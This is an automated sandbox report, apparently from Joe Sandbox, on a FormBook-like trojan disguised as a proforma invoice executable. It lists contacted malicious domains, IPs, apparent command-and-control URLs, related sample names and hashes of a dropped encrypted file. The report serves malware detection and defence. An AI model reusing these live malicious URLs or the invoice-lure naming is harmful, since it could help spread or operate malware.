http://www70.clientebradesco.online/	100%	Avira URL Cloud	malware
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://www.asian-massage-us.xyz/kc69/	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
http://www.myim.cloud/12ts/?MHZDTHg=fK0TrVkIcECrXBt/QBT8PCmrckdVeV1vsNkWvaJ0XbQUSkAwNJoncWp26b1Q7HgZ6hy5g1l23+w5zEE84XOKO78C1JBbT4+4k1+SvQMP+iwoSoAbGtJFITlm6yZl6HBNXw==&m8=721TkfhHN46HeBfP	0%	Avira URL Cloud	safe
http://www.fineg.online/mkan/	0%	Avira URL Cloud	safe
https://www.google.com	0%	Virustotal		Browse
http://www.myim.cloud/12ts/	0%	Avira URL Cloud	safe
http://www.fineg.online/mkan/	1%	Virustotal		Browse
http://www70.clientebradesco.online/	6%	Virustotal		Browse
http://www.omexai.info/45sz/?m8=721TkfhHN46HeBfP&MHZDTHg=wkQ2jmS8yMxgRlKUPxXZOSJfy276TIgV39hMR0do1D6sDTDom055RMGGVlZFQUvdDVO+pgeKf5JaLn1AK40x/tSYSMAamA14mf1kJ7jyRRC6WiyMsI3Xnv4BkXKynB7mMQ==	0%	Avira URL Cloud	safe
http://www.myim.cloud/12ts/	1%	Virustotal		Browse
http://www.clientebradesco.online/xsf1/?m8=721TkfhHN46HeBfP&MHZDTHg=/2dxOCr9e8Tu47VkPNo5dAI1prtgpWpDtJEt3c2Foz5fpzeoRIujBVjrDMsKHc70+0K9iVKA7vE9ZFCiM5OaHQ9FJ0pFhf/XXW3oapof9+b9s/jcWq68S+C05ai3yP+Fag==	0%	Avira URL Cloud	safe
http://www.d55dg.top/ftud/?m8=721TkfhHN46HeBfP&MHZDTHg=CQmIz2bNYdnQtzE5dRZx19O+RKFjtfDUuZcFlqzFgfI5jfpPm1EP0eBYxBqCjdR2XMjWQLlFnnRrMqX4rM3bAk6hJ8rVDO8n3CpjeInC2PpnYB4d910sD/0oMC4edJRzog==	0%	Avira URL Cloud	safe
http://www.omexai.info/45sz/	0%	Avira URL Cloud	safe
http://www.asian-massage-us.xyz/kc69/?MHZDTHg=NmpF3EhDDWuD2jt+k/g095xLRHRyuzqtmyJn51mvGwf0ZsSxS3FqZkMY4E4Bhni9ZRnQKXdCwf/FxLiQBiKGNcTC3e2/WFeQ1r1lf08AeSNxqtZfuNHfso7Fe4LFqfY2Mw==&m8=721TkfhHN46HeBfP	0%	Avira URL Cloud	safe
http://www.d55dg.top/ftud/	0%	Avira URL Cloud	safe
http://www.healthsolutions.top	0%	Avira URL Cloud	safe
http://www.qiluqiyuan.buzz/p6o9/	0%	Avira URL Cloud	safe
http://www.asian-massage-us.xyz/kc69/	1%	Virustotal		Browse
http://www.healthsolutions.top	1%	Virustotal		Browse
http://www.d55dg.top/ftud/	1%	Virustotal		Browse
http://www.qiluqiyuan.buzz/p6o9/	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.clientebradesco.online	96.126.123.244	true	false	4%, Virustotal, Browse	unknown
d55dg.top	154.23.184.240	true	true	0%, Virustotal, Browse	unknown
www.healthsolutions.top	13.248.169.48	true	true	1%, Virustotal, Browse	unknown
www.asian-massage-us.xyz	199.59.243.226	true	true	1%, Virustotal, Browse	unknown
www.qiluqiyuan.buzz	161.97.168.245	true	true	1%, Virustotal, Browse	unknown
www.dfbio.net	218.247.68.184	true	true		unknown
www.fineg.online	162.0.239.141	true	true		unknown
omexai.info	3.33.130.190	true	true	0%, Virustotal, Browse	unknown
www.myim.cloud	199.59.243.226	true	true	0%, Virustotal, Browse	unknown
www.omexai.info	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.esistiliya.online	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.d55dg.top	unknown	unknown	true	1%, Virustotal, Browse	unknown
www.aflaksokna.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.arlon-commerce.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.thriveline.online	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.dfbio.net/yzen/	true	Avira URL Cloud: safe	unknown
http://www.healthsolutions.top/cent/	true	Avira URL Cloud: safe	unknown
http://www.dfbio.net/yzen/?MHZDTHg=O9V9WpJA2Id3CQ8RbCyxNyy8YHr+x7luQNnrI8f3VjqE97lt7JSCdbE8JrYB0ARmCvuQ5PpqBCp66EiUa7dY4bjGHbWiFISykJbmA24D38d4U9gmj0KuNkWrH/Oj7BpqHw==&m8=721TkfhHN46HeBfP	true	Avira URL Cloud: safe	unknown
http://www.asian-massage-us.xyz/kc69/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.myim.cloud/12ts/?MHZDTHg=fK0TrVkIcECrXBt/QBT8PCmrckdVeV1vsNkWvaJ0XbQUSkAwNJoncWp26b1Q7HgZ6hy5g1l23+w5zEE84XOKO78C1JBbT4+4k1+SvQMP+iwoSoAbGtJFITlm6yZl6HBNXw==&m8=721TkfhHN46HeBfP	true	Avira URL Cloud: safe	unknown
http://www.fineg.online/mkan/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.myim.cloud/12ts/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.omexai.info/45sz/?m8=721TkfhHN46HeBfP&MHZDTHg=wkQ2jmS8yMxgRlKUPxXZOSJfy276TIgV39hMR0do1D6sDTDom055RMGGVlZFQUvdDVO+pgeKf5JaLn1AK40x/tSYSMAamA14mf1kJ7jyRRC6WiyMsI3Xnv4BkXKynB7mMQ==	true	Avira URL Cloud: safe	unknown
http://www.clientebradesco.online/xsf1/?m8=721TkfhHN46HeBfP&MHZDTHg=/2dxOCr9e8Tu47VkPNo5dAI1prtgpWpDtJEt3c2Foz5fpzeoRIujBVjrDMsKHc70+0K9iVKA7vE9ZFCiM5OaHQ9FJ0pFhf/XXW3oapof9+b9s/jcWq68S+C05ai3yP+Fag==	false	Avira URL Cloud: safe	unknown
http://www.d55dg.top/ftud/?m8=721TkfhHN46HeBfP&MHZDTHg=CQmIz2bNYdnQtzE5dRZx19O+RKFjtfDUuZcFlqzFgfI5jfpPm1EP0eBYxBqCjdR2XMjWQLlFnnRrMqX4rM3bAk6hJ8rVDO8n3CpjeInC2PpnYB4d910sD/0oMC4edJRzog==	true	Avira URL Cloud: safe	unknown
http://www.d55dg.top/ftud/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.omexai.info/45sz/	true	Avira URL Cloud: safe	unknown
http://www.asian-massage-us.xyz/kc69/?MHZDTHg=NmpF3EhDDWuD2jt+k/g095xLRHRyuzqtmyJn51mvGwf0ZsSxS3FqZkMY4E4Bhni9ZRnQKXdCwf/FxLiQBiKGNcTC3e2/WFeQ1r1lf08AeSNxqtZfuNHfso7Fe4LFqfY2Mw==&m8=721TkfhHN46HeBfP	true	Avira URL Cloud: safe	unknown
http://www.qiluqiyuan.buzz/p6o9/	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	chkntfs.exe, 00000004.00000003.2401309568.00000000075AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.dfbio.net:80/yzen/?MHZDTHg=O9V9WpJA2Id3CQ8RbCyxNyy8YHr	chkntfs.exe, 00000004.00000002.3888417281.0000000005EEA000.00000004.10000000.00040000.00000000.sdmp, aWQzvnOIPI.exe, 00000006.00000002.3887861753.00000000045EA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	chkntfs.exe, 00000004.00000003.2401309568.00000000075AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	chkntfs.exe, 00000004.00000003.2401309568.00000000075AE000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.clientebradesco.online/xsf1?gp=1&js=1&uuid=1725871306.0083265548&other_args=eyJ1cmkiOiAiL	chkntfs.exe, 00000004.00000002.3888417281.0000000004DA4000.00000004.10000000.00040000.00000000.sdmp, aWQzvnOIPI.exe, 00000006.00000002.3887861753.00000000034A4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2506186536.0000000026124000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	chkntfs.exe, 00000004.00000003.2401309568.00000000075AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	chkntfs.exe, 00000004.00000003.2401309568.00000000075AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	chkntfs.exe, 00000004.00000003.2401309568.00000000075AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www70.clientebradesco.online/	firefox.exe, 00000007.00000002.2506186536.0000000026124000.00000004.80000000.00040000.00000000.sdmp	false	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	chkntfs.exe, 00000004.00000003.2401309568.00000000075AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com	chkntfs.exe, 00000004.00000002.3888417281.0000000004F36000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000004.00000002.3888417281.000000000557E000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000004.00000002.3890273725.0000000007300000.00000004.00000800.00020000.00000000.sdmp, aWQzvnOIPI.exe, 00000006.00000002.3887861753.0000000003C7E000.00000004.00000001.00040000.00000000.sdmp, aWQzvnOIPI.exe, 00000006.00000002.3887861753.0000000003636000.00000004.00000001.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	chkntfs.exe, 00000004.00000003.2401309568.00000000075AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.healthsolutions.top	aWQzvnOIPI.exe, 00000006.00000002.3889703348.0000000005552000.00000040.80000000.00040000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	chkntfs.exe, 00000004.00000003.2401309568.00000000075AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
96.126.123.244	www.clientebradesco.online	United States	63949	LINODE-APLinodeLLCUS	false
13.248.169.48	www.healthsolutions.top	United States	16509	AMAZON-02US	true
162.0.239.141	www.fineg.online	Canada	22612	NAMECHEAP-NETUS	true
218.247.68.184	www.dfbio.net	China	139021	WEST263GO-HKWest263InternationalLimitedHK	true
199.59.243.226	www.asian-massage-us.xyz	United States	395082	BODIS-NJUS	true
154.23.184.240	d55dg.top	United States	174	COGENT-174US	true
3.33.130.190	omexai.info	United States	8987	AMAZONEXPANSIONGB	true
161.97.168.245	www.qiluqiyuan.buzz	United States	51167	CONTABODE	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1507792
Start date and time:	2024-09-09 10:40:24 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PROFORMA INVOICE BKS-0121-24-25-JP240604.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/3@14/8
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 94% Number of executed functions: 44 Number of non-executed functions: 294
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 92.204.80.11
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, whois-unverified.domainbox.akadns.net, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target aWQzvnOIPI.exe, PID 1852 because it is empty
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:42:08	API Interceptor	7318212x Sleep call for process: chkntfs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
96.126.123.244	firmware.x86_64.elf	Get hash	malicious	Unknown	Browse	96.126.123.244/
	PDPUOIE76867 PDF.exe	Get hash	malicious	FormBook	Browse	www.ethost.biz/he2a/?ZN9Ls=9rCTo2P0wPzDj0p&5jE=Sqr0ctkiCfkZWIRANmieJkMS6dE9bE5sJtvmbV1Awau4hYWKNS85KIfJRPIDPs20rwIR
	#U5831#U50f9#U8acb#U6c42 - #U6a23#U672c#U76ee#U9304.vbs	Get hash	malicious	FormBook, GuLoader	Browse	www.meetfactory.biz/o0e7/
	PI #9100679047.exe	Get hash	malicious	FormBook	Browse	www.globaart.world/y9w3/?gLc=Rd0kEi3w/UsPyR/ns4IoBEbTPQw6Ykk7YQBlzeaiAXJDtt0Hjc5C/XJdgA2bVSiIHhGymk8Z/3Fo9QfVjJgiCjFSLC9AcNH2CIw8m8aXvqQScUVb1Ctu2x0=&6fQ=evG0
	Pro#U015bba o Wycena - Strony 4-6.vbs	Get hash	malicious	FormBook, GuLoader	Browse	www.meetfactory.biz/o0e7/
	60a8.scr.exe	Get hash	malicious	FormBook	Browse	www.optime19.com/seij/
	http://gn.net/ds-server/s/noauth/psm/tsp/sign	Get hash	malicious	Unknown	Browse	gn.net/ds-server/s/noauth/psm/tsp/sign?gp=1&js=1&uuid=1707722574.0084551632&other_args=eyJ1cmkiOiAiL2RzLXNlcnZlci9zL25vYXV0aC9wc20vdHNwL3NpZ24iLCAiYXJncyI6ICIiLCAicmVmZXJlciI6ICIiLCAiYWNjZXB0IjogInRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL2F2aWYsaW1hZ2Uvd2VicCxpbWFnZS9hcG5nLCovKjtxPTAuOCxhcHBsaWNhdGlvbi9zaWduZWQtZXhjaGFuZ2U7dj1iMztxPTAuNyJ9
	vi3VzdBK4R.exe	Get hash	malicious	FormBook	Browse	www.optime19.com/mg0g/?H6e0=JX9bRfLOpqNEOOylJBmFj4p8QIgnv0TR1nhebZtzBw39xumhyI7GOOmZ3KvTtyU7GUZkfEsfAOx+aJi2z4rxbyH3eXrZDr4WEQ==&nBN=u8MPgxf
	Hephthemimer.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.franchisevideography.com/6vse/?-xnABs9=MP4aJTqYC4vQMBtENwlhfMq8DEkCA6FU41CifmM7zlVilMBpP7k0fJAVYKZLDpHGK+bW65bO27W9Q0vaj6/TZG0ALnN1iW9mqQ==&qOxFY=hJ_m
	temperaturtagningen.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.owcojyyde.best/6vse/?mNYG3zm=YUT51p8Hvc/XpCrtJL0i3+wGxNKifyYOogK+myktuh1TQZyBfHb0Bq5GxidO5y7gO970k0mTGmGx1A8abreumyzcj15RfUbrbQ==&Kb384=gId8TuG
13.248.169.48	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	www.dyme.tech/pjne/?lt=lhp2AL1o8WnbXPZMRwuNwZPsCjGMimAytiXH6n0uWTdA0JaaykggGBvZUdK/udhaMgulQSxiSbl+DIpIo1gQvhEzJQCgKGJIbKmEGc+7pbgyQptTpIVqrWg=&3ry=nj20Xr
	OjKmJJm2YT.exe	Get hash	malicious	Simda Stealer	Browse	pupydeq.com/login.php
	5AFlyarMds.exe	Get hash	malicious	Simda Stealer	Browse	pupydeq.com/login.php
	Scan 00093847.exe	Get hash	malicious	FormBook	Browse	www.dyme.tech/pjne/
	uB31aJH4M0.exe	Get hash	malicious	Simda Stealer	Browse	pupydeq.com/login.php
	firmware.armv4l.elf	Get hash	malicious	Unknown	Browse	13.248.169.48/
	firmware.armv5l.elf	Get hash	malicious	Unknown	Browse	13.248.169.48/
	firmware.armv7l.elf	Get hash	malicious	Unknown	Browse	13.248.169.48/
	firmware.i586.elf	Get hash	malicious	Unknown	Browse	13.248.169.48/
	firmware.i686.elf	Get hash	malicious	Unknown	Browse	13.248.169.48/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.qiluqiyuan.buzz	PO00211240906.exe	Get hash	malicious	FormBook	Browse	161.97.168.245
	PO_20240906011824.exe	Get hash	malicious	FormBook	Browse	161.97.168.245
	p4LNUqyKZM.exe	Get hash	malicious	FormBook	Browse	161.97.168.245
	PO_987654345678.exe	Get hash	malicious	FormBook	Browse	161.97.168.245
	INV20240828.exe	Get hash	malicious	FormBook	Browse	161.97.168.245
	AIDHL3290435890.exe	Get hash	malicious	FormBook	Browse	161.97.168.245
	PO#4510065525.exe	Get hash	malicious	FormBook	Browse	161.97.168.245
www.healthsolutions.top	PO_987654345678.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	INV20240828.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	Quotation-27-08-24.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
www.clientebradesco.online	p4LNUqyKZM.exe	Get hash	malicious	FormBook	Browse	45.33.2.79
	PO_987654345678.exe	Get hash	malicious	FormBook	Browse	198.58.118.167
	INV20240828.exe	Get hash	malicious	FormBook	Browse	45.33.23.183
www.asian-massage-us.xyz	p4LNUqyKZM.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	PO_987654345678.exe	Get hash	malicious	FormBook	Browse	199.59.243.226
	INV20240828.exe	Get hash	malicious	FormBook	Browse	199.59.243.226

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LINODE-APLinodeLLCUS	f3VrANv7Uw.exe	Get hash	malicious	Unknown	Browse	45.79.222.138
	LtL3hEasij.exe	Get hash	malicious	Unknown	Browse	45.79.222.138
	5SGOAKv7AR.exe	Get hash	malicious	Unknown	Browse	45.79.222.138
	YsyrcskNFK.exe	Get hash	malicious	Unknown	Browse	45.79.222.138
	wEplk8vCmJ.exe	Get hash	malicious	Unknown	Browse	45.79.222.138
	https://gujgdne.themayfairgroupllc.site/?h9=KJj91	Get hash	malicious	HTMLPhisher	Browse	172.105.14.134
	http://govedge.filegear-de.me	Get hash	malicious	Unknown	Browse	45.79.244.209
	http://therulecalm.com	Get hash	malicious	TechSupportScam	Browse	192.155.90.248
	https://rznfilarmonia.ru/bitrix/redirect.php?event1&event2&event3&goto=https://agroserviceica.com/rkos/dist	Get hash	malicious	Unknown	Browse	23.239.27.53
	http://seoattal.hosted.phplist.com/lists/lt.php?tid=fU9RVwRXBQ1dUE9QVVcFSQQDVFEVAAUABBRSUFtRUwEAAAFaUVNNAl1XU1JRVlFJAgMEXhVWUlMDFAVXAAAfVQcEUFZWBABQXAJRHgUGB1EEUVJeFVBSAlMUUAELUB8FVlcFTlFQBQdUAFNWAVYGBw	Get hash	malicious	Unknown	Browse	45.33.29.14
NAMECHEAP-NETUS	PM7K6PbAf0.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Neoreklami, PureLog Stealer, RedLine, Stealc	Browse	198.54.120.231
	OjKmJJm2YT.exe	Get hash	malicious	Simda Stealer	Browse	162.255.119.102
	M62eQtS9qP.exe	Get hash	malicious	Simda Stealer	Browse	162.255.119.102
	https://vigilantesecurity.ca/index.shtml	Get hash	malicious	Unknown	Browse	68.65.122.100
	PO00211240906.exe	Get hash	malicious	FormBook	Browse	162.0.236.169
	rfOfF6s6gI.exe	Get hash	malicious	FormBook	Browse	162.0.238.43
	4qV0xW2NSj.exe	Get hash	malicious	FormBook	Browse	162.0.238.43
	firmware.armv7l.elf	Get hash	malicious	Unknown	Browse	192.64.119.50
	firmware.i586.elf	Get hash	malicious	Unknown	Browse	192.64.119.50
	firmware.i686.elf	Get hash	malicious	Unknown	Browse	192.64.119.50
WEST263GO-HKWest263InternationalLimitedHK	p4LNUqyKZM.exe	Get hash	malicious	FormBook	Browse	218.247.68.184
	PO_987654345678.exe	Get hash	malicious	FormBook	Browse	218.247.68.184
	INV20240828.exe	Get hash	malicious	FormBook	Browse	218.247.68.184
	rRFQ.bat.exe	Get hash	malicious	FormBook	Browse	218.247.68.184
	KKveTTgaAAsecNNaaaa.spc.elf	Get hash	malicious	Unknown	Browse	103.24.254.174
	https://mytonwallte.io/	Get hash	malicious	Unknown	Browse	103.43.188.221
	Yb6ztdvQaB.elf	Get hash	malicious	Unknown	Browse	103.120.80.111
	pismo1A 12.06.2024.exe	Get hash	malicious	FormBook	Browse	103.120.80.111
	CFV20240600121.exe	Get hash	malicious	FormBook	Browse	103.120.80.111
	9wDlG5DeRK.elf	Get hash	malicious	Moobot	Browse	103.108.210.142
AMAZON-02US	http://www.glasgowmobiletyres.com	Get hash	malicious	Unknown	Browse	52.37.148.226
	https://explore.da-ors.com/QlDhK/#M	Get hash	malicious	HTMLPhisher	Browse	13.33.187.68
	https://cdn2.minitool.com/?p=pw&e=pwfree-64bit-portable	Get hash	malicious	Unknown	Browse	52.18.144.254
	https://na4.documents.adobe.com/public/esign?tsid=CBFCIBAACBSCTBABDUAAABACAABAARtWEjXUwhg4V1-BngVj8Nb3BWFTyeahifCtEANz-F_DHn6us5GQnmGSLurOl22cHTODkcpLj5V8tEvUgiitn2rxCGV6F3Ara_63Zs68knVplHmPAofud14LAZ83Aof0-&	Get hash	malicious	Unknown	Browse	52.35.253.85
	https://linkr.it/2ugDUZ	Get hash	malicious	Unknown	Browse	108.138.26.79
	filz.exe	Get hash	malicious	FormBook	Browse	54.183.209.210
	https://eu-central-1.protection.sophos.com/?d=tiktok.com&u=aHR0cHM6Ly93d3cudGlrdG9rLmNvbS8vLy8vbGluay92Mj9haWQ9MTk4OCZsYW5nPWVucGdydCZzY2VuZT1iaW9fdXJsJnRhcmdldD1nb29nbGUuY29tLi8vLy9hbXAvcy9zaXNjb3JpbmdlbmllcmlhLmNvbS9wZWxrL2Rpc3Q=&p=m&i=NWNiN2ZlZTg4MWQzYmMxNDQ2YTllNTFl&t=VFBWMlN6OGEwZWNTVHVFOWxKZlI1M1Q5MkQrcE4xSTVUR05IYUt4TXJuYz0=&h=1771e91d808e439f8550f7674816bb5e&s=AVNPUEhUT0NFTkNSWVBUSVZlKBCk14DfSY8y3oSwIhXWtx5u_2D5GxM9oimwbfJFKNlOo3Letee5ie3lddlU2_MAT1_7JYE67RCEWWA5FX8PLW9cC1K0XAh-bgK8TAXa6A	Get hash	malicious	Unknown	Browse	3.161.82.129
	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	54.179.173.60
	https://eu-central-1.protection.sophos.com/?d=convertcontacts.com&u=aHR0cDovL21haWwuY29udmVydGNvbnRhY3RzLmNvbS9scy9jbGljaz91cG49dTAwMS4tMkZPZ2p2UDZlSEpMUThnRkNaWFFWYVdwSW9wc2R3cTcyQzhaR2p0eWFDYmt1U25VYkpra2g5YTVWdUxMZ3VQcTA2OFpPX2otMkIzT0FHSFlyemxyWGM0d1dHdkFlaXYtMkZNV2VJQTlOWk9iOTc0YS0yQlpvdnAxN0l5aGZoeWdhczFXVkJvMTNESUhrNWF5eEpuSHB6ZEdzeXI3SEJ4eE9ZVGxlZHp3R090RUNYcFJad0ljUC0yRlU2Um1RMlZZRS0yQm5lNU4zUTZMTHNQNXJRNTNyZi0yQmRGVFc4bThFTlNFdGI2dWFtLTJGR3NrQ3lZQjBVQ3oxalh1elAtMkYxb3BIQmxaaEF3YWI5ZHFmcXhVb3hXU0puWlh5eS0yRmtFS2FJLTJGSUU1eUhCQS0zRC0zRA==&p=m&i=NWNiN2ZlZTg4MWQzYmMxNDQ2YTllMzg2&t=MzVESEtqZVpmK2lydmd6VlJBZ0dOd0VXaHNLamhvK21MK1pYQzM4L0JEUT0=&h=e14b286494664ef891348988c9e838b4&s=AVNPUEhUT0NFTkNSWVBUSVYoFOpcRSmtylFH3LId5iHD0shJ7qIqV8UAVy4ANYCuCYR3Alb2xoJLC7nF0vB_FDAfdi-bbhqFa2YYLKpVwPUnPTAMVQe9kqbfwYJ_E95Mtw	Get hash	malicious	HTMLPhisher	Browse	18.239.94.24
	http://onlinesecuritycheck.weebly.com/	Get hash	malicious	Unknown	Browse	18.245.187.126

Process:	C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe
File Type:	data
Category:	dropped
Size (bytes):	289280
Entropy (8bit):	7.992327357334725
Encrypted:	true
SSDEEP:	6144:lcbztf82yV/inSQs6QGAYZcXmEWRJa5Cyzv40OMnO/94cDVp:W1fri/ISQeGAYZAXA6C0v4b6OF4cDVp
MD5:	B9DCE5146BEEBC2EAA400DC418215FC1
SHA1:	B9831F930A3AF324D9E7438C58EB2231DFD6CC21
SHA-256:	7FA49DF8D097B72B4C7DEC76C56D24B42571A2E658825EC154BFD5CF741032B9
SHA-512:	372AA4B7300D5EA1B884EE7A4AD3025EE284BD4FF030304012319151D18AED6F08BFE42DDA762A90C21D44ECCB0D177D368020FF574BCB8A62996D79F200289E
Malicious:	false
Reputation:	low
Preview:	.h...PDA4...O...v.DB..qE^..JPDA4DCYFV2AJJPDA4DCYFV2AJJPDA.DCYHI.OJ.Y.`.E..g.Z(9j 6.S6"4f5S/$%$d#Qd1,(v[/j...aY+'<h[?KnJPDA4DC G_.\|-.y!S.~9!.(..j$&.^..jR&.P...$$..?Q)w7.A4DCYFV2..JP.@5Di=..2AJJPDA4.C[G]3JJJ.@A4DCYFV2Aj^PDA$DCY6R2AJ.PDQ4DC[FV4AJJPDA4BCYFV2AJJ @A4FCYFV2AHJ..A4TCYVV2AJZPDQ4DCYFV"AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2Ad>5<54DC].R2AZJPD.0DCIFV2AJJPDA4DCYFv2A*JPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCYFV2AJJPDA4DCY

C:\Users\user\AppData\Local\Temp\gobioid

Download File

Process:	C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe
File Type:	data
Category:	dropped
Size (bytes):	289280
Entropy (8bit):	7.992327357334725
Encrypted:	true
SSDEEP:	6144:lcbztf82yV/inSQs6QGAYZcXmEWRJa5Cyzv40OMnO/94cDVp:W1fri/ISQeGAYZAXA6C0v4b6OF4cDVp
MD5:	B9DCE5146BEEBC2EAA400DC418215FC1
SHA1:	B9831F930A3AF324D9E7438C58EB2231DFD6CC21
SHA-256:	7FA49DF8D097B72B4C7DEC76C56D24B42571A2E658825EC154BFD5CF741032B9
SHA-512:	372AA4B7300D5EA1B884EE7A4AD3025EE284BD4FF030304012319151D18AED6F08BFE42DDA762A90C21D44ECCB0D177D368020FF574BCB8A62996D79F200289E
Malicious:	false
Reputation:	low
